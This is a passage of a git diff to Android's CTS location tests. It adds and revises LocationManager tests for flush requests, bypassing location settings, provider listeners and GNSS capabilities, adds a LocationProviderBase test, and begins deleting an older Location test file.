+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_LocationSettingsIgnored() throws Exception {
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored1 = new ScreenResetter();
+             SettingResetter ignored2 = new SettingResetter(NAMESPACE_GLOBAL,
+                     LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST, mContext.getPackageName());
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+
+            getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(WRITE_SECURE_SETTINGS);
+            try {
+                mManager.requestLocationUpdates(
+                        TEST_PROVIDER,
+                        new LocationRequest.Builder(0)
+                                .setLocationSettingsIgnored(true)
+                                .build(),
+                        Executors.newSingleThreadExecutor(),
+                        capture);
+            } finally {
+                getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+            }
+
+            // turn off provider
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+
+            // enable battery saver throttling
+            batterySaverDeviceConfigStateHelper.set("location_mode", "4");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            ScreenUtils.setScreenOn(false);
+
+            // test that all restrictions are bypassed
+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isEqualTo(loc);
+            loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testRegisterProviderRequestListener() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+
+        try (ProviderRequestListenerCapture requestlistener = new ProviderRequestListenerCapture(
+                mContext);
+             LocationListenerCapture locationListener = new LocationListenerCapture(mContext)) {
+            mManager.registerProviderRequestListener(Executors.newSingleThreadExecutor(),
+                    requestlistener);
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), locationListener);
+
+            assertThat(requestlistener.getNextProviderRequest(TIMEOUT_MS)).isNotNull();
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testRequestGpsUpdates_B9758659() throws Exception {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         // test for b/9758659, where the gps provider may reuse network provider positions creating
         // an unnatural feedback loop
@@ -574,15 +849,18 @@
                 true,
                 Criteria.POWER_LOW,
                 Criteria.ACCURACY_COARSE);
-        setTestProviderEnabled(NETWORK_PROVIDER, true);
+        mManager.setTestProviderEnabled(NETWORK_PROVIDER, true);
         mManager.setTestProviderLocation(NETWORK_PROVIDER, networkLocation);
 
         // reset gps provider to give it a cold start scenario
         mManager.sendExtraCommand(GPS_PROVIDER, "delete_aiding_data", null);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(GPS_PROVIDER, 0, 0, false);
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    GPS_PROVIDER,
+                    new LocationRequest.Builder(0).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             Location location = capture.getNextLocation(TIMEOUT_MS);
             if (location != null) {
@@ -592,6 +870,128 @@
     }
 
     @Test
+    public void testRequestFlush() throws Exception {
+        try (LocationListenerCapture capture1 = new LocationListenerCapture(mContext);
+             LocationListenerCapture capture2 = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture1);
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture2);
+
+            mManager.requestFlush(TEST_PROVIDER, capture1, 1);
+            mManager.requestFlush(TEST_PROVIDER, capture2, 1);
+            assertThat(capture1.getNextFlush(TIMEOUT_MS)).isEqualTo(1);
+            assertThat(capture2.getNextFlush(TIMEOUT_MS)).isEqualTo(1);
+            assertThat(capture1.getNextFlush(FAILURE_TIMEOUT_MS)).isNull();
+            assertThat(capture2.getNextFlush(FAILURE_TIMEOUT_MS)).isNull();
+        }
+
+        try {
+            mManager.requestFlush(TEST_PROVIDER, (LocationListener) null, 0);
+            fail("Should throw IllegalArgumentException if listener is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestFlush(TEST_PROVIDER, capture, 0);
+            fail("Should throw IllegalArgumentException if listener is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestFlush(GPS_PROVIDER, capture, 0);
+            fail("Should throw IllegalArgumentException if listener is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestFlush(null, capture, 0);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestFlush_PendingIntent() throws Exception {
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+
+            mManager.requestFlush(TEST_PROVIDER, capture.getPendingIntent(), 1);
+            assertThat(capture.getNextFlush(TIMEOUT_MS)).isEqualTo(1);
+        }
+
+        try {
+            mManager.requestFlush(TEST_PROVIDER, (PendingIntent) null, 0);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestFlush(TEST_PROVIDER, capture.getPendingIntent(), 0);
+            fail("Should throw IllegalArgumentException if pending intent is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+            mManager.requestFlush(GPS_PROVIDER, capture.getPendingIntent(), 0);
+            fail("Should throw IllegalArgumentException if pending intent is not registered!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+            mManager.requestFlush(null, capture.getPendingIntent(), 0);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestFlush_Ordering() throws Exception {
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            for (int i = 0; i < 100; i++) {
+                mManager.requestFlush(TEST_PROVIDER, capture, i);
+            }
+            for (int i = 0; i < 100; i++) {
+                assertThat(capture.getNextFlush(TIMEOUT_MS)).isEqualTo(i);
+            }
+        }
+    }
+
+    @Test
+    public void testRequestFlush_Gnss() throws Exception {
+        assumeTrue(mManager.getAllProviders().contains(GPS_PROVIDER));
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(GPS_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            mManager.requestFlush(GPS_PROVIDER, capture, 1);
+            // Temporarily passing with warning while waiting for vendor's fix in b/175833551
+            // TODO: revert to assert when b/175833551 is fixed
+            try {
+                capture.getNextFlush(TIMEOUT_MS);
+            } catch (InterruptedException e) {
+                Log.w(TAG, "GNSS flush failed.", e);
+            }
+        }
+    }
+
+    @Test
     public void testListenProviderEnable_Listener() throws Exception {
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
             mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
@@ -649,7 +1049,7 @@
     @Test
     public void testGetAllProviders() {
         List<String> providers = mManager.getAllProviders();
-        if (hasGpsFeature()) {
+        if (mManager.hasProvider(GPS_PROVIDER)) {
             assertThat(providers.contains(LocationManager.GPS_PROVIDER)).isTrue();
         }
         assertThat(providers.contains(PASSIVE_PROVIDER)).isTrue();
@@ -664,14 +1064,14 @@
     }
 
     @Test
-    public void testGetProviders() throws Exception {
+    public void testGetProviders() {
         List<String> providers = mManager.getProviders(false);
         assertThat(providers.contains(TEST_PROVIDER)).isTrue();
 
         providers = mManager.getProviders(true);
         assertThat(providers.contains(TEST_PROVIDER)).isTrue();
 
-        setTestProviderEnabled(TEST_PROVIDER, false);
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
 
         providers = mManager.getProviders(false);
         assertThat(providers.contains(TEST_PROVIDER)).isTrue();
@@ -700,12 +1100,14 @@
     }
 
     @Test
-    public void testGetBestProvider() throws Exception {
+    public void testGetBestProvider() {
         List<String> allProviders = mManager.getAllProviders();
         Criteria criteria = new Criteria();
 
         String bestProvider = mManager.getBestProvider(criteria, false);
-        if (allProviders.contains(GPS_PROVIDER)) {
+        if (allProviders.contains(FUSED_PROVIDER)) {
+            assertThat(bestProvider).isEqualTo(FUSED_PROVIDER);
+        } else if (allProviders.contains(GPS_PROVIDER)) {
             assertThat(bestProvider).isEqualTo(GPS_PROVIDER);
         } else if (allProviders.contains(NETWORK_PROVIDER)) {
             assertThat(bestProvider).isEqualTo(NETWORK_PROVIDER);
@@ -725,12 +1127,22 @@
                 true,
                 Criteria.POWER_LOW,
                 Criteria.ACCURACY_FINE);
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_COARSE);
 
         criteria.setAccuracy(Criteria.ACCURACY_FINE);
         criteria.setPowerRequirement(Criteria.POWER_LOW);
         assertThat(mManager.getBestProvider(criteria, false)).isEqualTo(TEST_PROVIDER);
 
-        setTestProviderEnabled(TEST_PROVIDER, false);
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
         assertThat(mManager.getBestProvider(criteria, true)).isNotEqualTo(TEST_PROVIDER);
     }
 
@@ -741,13 +1153,15 @@
         assertThat(provider.getName()).isEqualTo(TEST_PROVIDER);
 
         provider = mManager.getProvider(LocationManager.GPS_PROVIDER);
-        if (hasGpsFeature()) {
+        if (mManager.hasProvider(GPS_PROVIDER)) {
             assertThat(provider).isNotNull();
             assertThat(provider.getName()).isEqualTo(LocationManager.GPS_PROVIDER);
         } else {
             assertThat(provider).isNull();
         }
 
+        assertThat(mManager.getProvider("fake")).isNull();
+
         try {
             mManager.getProvider(null);
             fail("Should throw IllegalArgumentException when provider is null!");
@@ -757,6 +1171,29 @@
     }
 
     @Test
+    public void testHasProvider() {
+        for (String provider : mManager.getAllProviders()) {
+            assertThat(mManager.hasProvider(provider)).isTrue();
+        }
+
+        assertThat(mManager.hasProvider("fake")).isFalse();
+    }
+
+    @Test
+    public void testGetProviderProperties() {
+        for (String provider : mManager.getAllProviders()) {
+            mManager.getProviderProperties(provider);
+        }
+
+        try {
+            mManager.getProviderProperties("fake");
+            fail("Should throw IllegalArgumentException for non-existent provider");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testSendExtraCommand() {
         for (String provider : mManager.getAllProviders()) {
@@ -885,7 +1322,7 @@
                     assertThat(received.isFromMockProvider()).isTrue();
                     assertThat(mManager.getLastKnownLocation(provider)).isEqualTo(loc1);
 
-                    setTestProviderEnabled(provider, false);
+                    mManager.setTestProviderEnabled(provider, false);
                     mManager.setTestProviderLocation(provider, loc2);
                     assertThat(mManager.getLastKnownLocation(provider)).isNull();
                     assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
@@ -979,138 +1416,20 @@
     }
 
     @Test
-    public void testAddProximityAlert() throws Exception {
-        if (isNotSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-
-        mManager.addTestProvider(FUSED_PROVIDER,
-                true,
-                false,
-                true,
-                false,
-                false,
-                false,
-                false,
-                Criteria.POWER_MEDIUM,
-                Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
-        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
-
-            // adding a proximity alert is asynchronous for no good reason, so we have to wait and
-            // hope the alert is added in the mean time.
-            Thread.sleep(500);
-
-            mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
-            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
-
-            mManager.setTestProviderLocation(FUSED_PROVIDER,
-                    createLocation(FUSED_PROVIDER, 30, 30, 10));
-            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
-        }
-
-        try {
-            mManager.addProximityAlert(0, 0, 1000, -1, null);
-            fail("Should throw IllegalArgumentException if pending intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            try {
-                mManager.addProximityAlert(0, 0, 0, -1, capture.getPendingIntent());
-                fail("Should throw IllegalArgumentException if radius == 0!");
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-
-            try {
-                mManager.addProximityAlert(0, 0, -1, -1, capture.getPendingIntent());
-                fail("Should throw IllegalArgumentException if radius < 0!");
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-
-            try {
-                mManager.addProximityAlert(1000, 1000, 1000, -1, capture.getPendingIntent());
-                fail("Should throw IllegalArgumentException if lat/lon are illegal!");
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-        }
-    }
-
-    @Test
-    public void testAddProximityAlert_StartProximate() throws Exception {
-        if (isNotSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-
-        mManager.addTestProvider(FUSED_PROVIDER,
-                true,
-                false,
-                true,
-                false,
-                false,
-                false,
-                false,
-                Criteria.POWER_MEDIUM,
-                Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
-        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
-            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
-        }
-    }
-
-    @Test
-    public void testAddProximityAlert_Expires() throws Exception {
-        if (isNotSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-
-        mManager.addTestProvider(FUSED_PROVIDER,
-                true,
-                false,
-                true,
-                false,
-                false,
-                false,
-                false,
-                Criteria.POWER_MEDIUM,
-                Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
-        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            mManager.addProximityAlert(0, 0, 1000, 1, capture.getPendingIntent());
-
-            // adding a proximity alert is asynchronous for no good reason, so we have to wait and
-            // hope the alert is added in the mean time.
-            Thread.sleep(500);
-
-            mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
-            assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
-        }
+    public void testGetGnssCapabilities() {
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+        assertThat(mManager.getGnssCapabilities()).isNotNull();
     }
 
     @Test
     public void testGetGnssYearOfHardware() {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
         mManager.getGnssYearOfHardware();
     }
 
     @Test
     public void testGetGnssHardwareModelName() {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         // model name should be longer than 4 characters
         String gnssHardwareModelName = mManager.getGnssHardwareModelName();
@@ -1124,6 +1443,16 @@
     }
 
     @Test
+    public void testGetGnssAntennaInfos() {
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+        if (mManager.getGnssCapabilities().hasAntennaInfo()) {
+            assertThat(mManager.getGnssAntennaInfos()).isNotNull();
+        } else {
+            assertThat(mManager.getGnssAntennaInfos()).isNull();
+        }
+    }
+
+    @Test
     public void testRegisterGnssStatusCallback() {
         GnssStatus.Callback callback = new GnssStatus.Callback() {
         };
@@ -1142,62 +1471,37 @@
     }
 
     @Test
-    public void testRegisterGnssMeasurementsCallback() {
-        GnssMeasurementsEvent.Callback callback = new GnssMeasurementsEvent.Callback() {
-        };
+    public void testRegisterGnssMeasurementsCallback() throws Exception {
+        try (GnssMeasurementsCapture capture = new GnssMeasurementsCapture(mContext)) {
+            mManager.registerGnssMeasurementsCallback(Runnable::run, capture);
 
-        mManager.registerGnssMeasurementsCallback(Executors.newSingleThreadExecutor(), callback);
-        mManager.unregisterGnssMeasurementsCallback(callback);
+            // test deprecated status messages
+            if (mManager.hasProvider(GPS_PROVIDER)) {
+                Integer status = capture.getNextStatus(TIMEOUT_MS);
+                assertThat(status).isNotNull();
+                assertThat(status).isEqualTo(GnssMeasurementsEvent.Callback.STATUS_READY);
+            }
+        }
     }
 
     @Test
     public void testRegisterGnssAntennaInfoCallback() {
-        GnssAntennaInfo.Listener listener = (gnssAntennaInfos) -> {};
-
-        mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
-        mManager.unregisterAntennaInfoListener(listener);
+        try (GnssAntennaInfoCapture capture = new GnssAntennaInfoCapture(mContext)) {
+            mManager.registerAntennaInfoListener(Runnable::run, capture);
+        }
     }
 
     @Test
-    public void testRegisterGnssNavigationMessageCallback() {
-        GnssNavigationMessage.Callback callback = new GnssNavigationMessage.Callback() {
-        };
+    public void testRegisterGnssNavigationMessageCallback() throws Exception {
+        try (GnssNavigationMessageCapture capture = new GnssNavigationMessageCapture(mContext)) {
+            mManager.registerGnssNavigationMessageCallback(Runnable::run, capture);
 
-        mManager.registerGnssNavigationMessageCallback(Executors.newSingleThreadExecutor(), callback);
-        mManager.unregisterGnssNavigationMessageCallback(callback);
-    }
-
-    private boolean hasGpsFeature() {
-        return mContext.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LOCATION_GPS);
-    }
-
-    private boolean isNotSystemUser() {
-        return !mContext.getSystemService(UserManager.class).isSystemUser();
-    }
-
-    private void setTestProviderEnabled(String provider, boolean enabled) throws InterruptedException {
-        // prior to R, setTestProviderEnabled is asynchronous, so we have to wait for provider
-        // state to settle.
-        if (VERSION.SDK_INT <= VERSION_CODES.Q) {
-            CountDownLatch latch = new CountDownLatch(1);
-            BroadcastReceiver receiver = new BroadcastReceiver() {
-                @Override
-                public void onReceive(Context context, Intent intent) {
-                    latch.countDown();
-                }
-            };
-            mContext.registerReceiver(receiver,
-                    new IntentFilter(PROVIDERS_CHANGED_ACTION));
-            mManager.setTestProviderEnabled(provider, enabled);
-
-            // it's ok if this times out, as we don't notify for noop changes
-            if (!latch.await(500, TimeUnit.MILLISECONDS)) {
-                Log.i(TAG, "timeout while waiting for provider enabled change");
+            // test deprecated status messages
+            if (mManager.hasProvider(GPS_PROVIDER)) {
+                Integer status = capture.getNextStatus(TIMEOUT_MS);
+                assertThat(status).isNotNull();
+                assertThat(status).isEqualTo(GnssNavigationMessage.Callback.STATUS_READY);
             }
-            mContext.unregisterReceiver(receiver);
-        } else {
-            mManager.setTestProviderEnabled(provider, enabled);
         }
     }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationProviderBaseTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationProviderBaseTest.java
new file mode 100644
index 0000000..f8452d4
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationProviderBaseTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.Location.EXTRA_NO_GPS_LOCATION;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.verify;
+import static org.mockito.MockitoAnnotations.initMocks;
+
+import android.content.Context;
+import android.location.Location;
+import android.location.provider.ILocationProvider;
+import android.location.provider.ILocationProviderManager;
+import android.location.provider.LocationProviderBase;
+import android.location.provider.LocationProviderBase.OnFlushCompleteCallback;
+import android.location.provider.ProviderProperties;
+import android.location.provider.ProviderRequest;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationProviderBaseTest {
+
+    private static final String TAG = "LocationProviderBaseTest";
+    private static final ProviderProperties PROPERTIES = new ProviderProperties.Builder().build();
+
+    private Random mRandom;
+
+    private @Mock ILocationProviderManager.Stub mManager;
+    private @Mock LocationProviderBase mMock;
+
+    private MyProvider mLocationProvider;
+
+    @Before
+    public void setUp() throws Exception {
+        initMocks(this);
+
+        long seed = System.currentTimeMillis();
+        Log.i(TAG, "location random seed: " + seed);
+
+        mRandom = new Random(seed);
+
+        mLocationProvider = new MyProvider(ApplicationProvider.getApplicationContext(), TAG,
+                PROPERTIES, mMock);
+        mLocationProvider.asProvider().setLocationProviderManager(mManager);
+    }
+
+    @Test
+    public void testAllowed() throws Exception {
+        assertThat(mLocationProvider.isAllowed()).isTrue();
+
+        mLocationProvider.setAllowed(false);
+        verify(mManager).onSetAllowed(false);
+        assertThat(mLocationProvider.isAllowed()).isFalse();
+    }
+
+    @Test
+    public void testProperties() throws Exception {
+        assertThat(mLocationProvider.getProperties()).isEqualTo(PROPERTIES);
+
+        ProviderProperties properties = new ProviderProperties.Builder()
+                .setHasAltitudeSupport(true)
+                .setHasBearingSupport(true)
+                .setHasSpeedSupport(true)
+                .build();
+        mLocationProvider.setProperties(properties);
+        verify(mManager).onSetProperties(properties);
+        assertThat(mLocationProvider.getProperties()).isEqualTo(properties);
+    }
+
+    @Test
+    public void testReportLocation() throws Exception {
+        Location location = createLocation("test", mRandom);
+
+        mLocationProvider.reportLocation(location);
+        verify(mManager).onReportLocation(location);
+    }
+
+    @Test
+    public void testReportLocation_stripExtras() throws Exception {
+        Bundle bundle = new Bundle();
+        bundle.putParcelable(EXTRA_NO_GPS_LOCATION, createLocation("test", mRandom));
+        bundle.putFloat("indoorProbability", 0.75f);
+        bundle.putParcelable("coarseLocation", createLocation("test", mRandom));
+        Location location = createLocation("test", mRandom);
+        location.setExtras(bundle);
+
+        Location expected = new Location(location);
+        expected.setExtras(null);
+        mLocationProvider.reportLocation(location);
+        verify(mManager).onReportLocation(expected);
+    }
+
+    @Test
+    public void testReportLocations() throws Exception {
+        List<Location> locations = Arrays.asList(
+                createLocation("test", mRandom),
+                createLocation("test", mRandom));
+
+        mLocationProvider.reportLocations(locations);
+        verify(mManager).onReportLocations(locations);
+    }
+
+    @Test
+    public void testReportLocations_stripExtras() throws Exception {
+        Bundle bundle = new Bundle();
+        bundle.putParcelable(EXTRA_NO_GPS_LOCATION, createLocation("test", mRandom));
+        bundle.putFloat("indoorProbability", 0.75f);
+        bundle.putParcelable("coarseLocation", createLocation("test", mRandom));
+        Location location1 = createLocation("test", mRandom);
+        location1.setExtras(bundle);
+        Location location2 = createLocation("test", mRandom);
+        location2.setExtras(bundle);
+        List<Location> locations = Arrays.asList(location1, location2);
+
+        Location expected1 = new Location(location1);
+        expected1.setExtras(null);
+        Location expected2 = new Location(location2);
+        expected2.setExtras(null);
+        List<Location> expected = Arrays.asList(expected1, expected2);
+
+        mLocationProvider.reportLocations(locations);
+        verify(mManager).onReportLocations(expected);
+    }
+
+    @Test
+    public void testOnSetRequest() throws Exception {
+        ProviderRequest providerRequest = new ProviderRequest.Builder().setIntervalMillis(500).build();
+        mLocationProvider.asProvider().setRequest(providerRequest);
+        verify(mMock).onSetRequest(providerRequest);
+    }
+
+    @Test
+    public void testOnFlush() throws Exception {
+        mLocationProvider.asProvider().flush();
+        verify(mMock).onFlush(any(OnFlushCompleteCallback.class));
+        verify(mManager).onFlushComplete();
+    }
+
+    @Test
+    public void testOnSendExtraCommand() throws Exception {
+        mLocationProvider.asProvider().sendExtraCommand("command", new Bundle());
+        verify(mMock).onSendExtraCommand(eq("command"), any(Bundle.class));
+    }
+
+    public static class MyProvider extends LocationProviderBase {
+
+        private final LocationProviderBase mMock;
+
+        public MyProvider(@NonNull Context context, @NonNull String tag,
+                @NonNull ProviderProperties properties, LocationProviderBase mock) {
+            super(context, tag, properties);
+            mMock = mock;
+        }
+
+        public ILocationProvider asProvider() {
+            return ILocationProvider.Stub.asInterface(getBinder());
+        }
+
+        @Override
+        public void onSetRequest(@NonNull ProviderRequest request) {
+            mMock.onSetRequest(request);
+        }
+
+        @Override
+        public void onFlush(@NonNull OnFlushCompleteCallback callback) {
+            mMock.onFlush(callback);
+            callback.onFlushComplete();
+        }
+
+        @Override
+        public void onSendExtraCommand(@NonNull String command, @Nullable Bundle extras) {
+            mMock.onSendExtraCommand(command, extras);
+        }
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
deleted file mode 100644
index d28e2e0..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
+++ /dev/null
@@ -1,540 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.location.Location;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.util.StringBuilderPrinter;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.text.DecimalFormat;
-
-@RunWith(AndroidJUnit4.class)
-public class LocationTest {
-
-    private static final float DELTA = 0.1f;
-    private final float TEST_ACCURACY = 1.0f;
-    private final float TEST_VERTICAL_ACCURACY = 2.0f;
-    private final float TEST_SPEED_ACCURACY = 3.0f;
-    private final float TEST_BEARING_ACCURACY = 4.0f;
-    private final double TEST_ALTITUDE = 1.0;
-    private final double TEST_LATITUDE = 50;
-    private final float TEST_BEARING = 1.0f;
-    private final double TEST_LONGITUDE = 20;
-    private final float TEST_SPEED = 5.0f;
-    private final long TEST_TIME = 100;
-    private final String TEST_PROVIDER = "LocationProvider";
-    private final String TEST_KEY1NAME = "key1";
-    private final String TEST_KEY2NAME = "key2";
-    private final boolean TEST_KEY1VALUE = false;
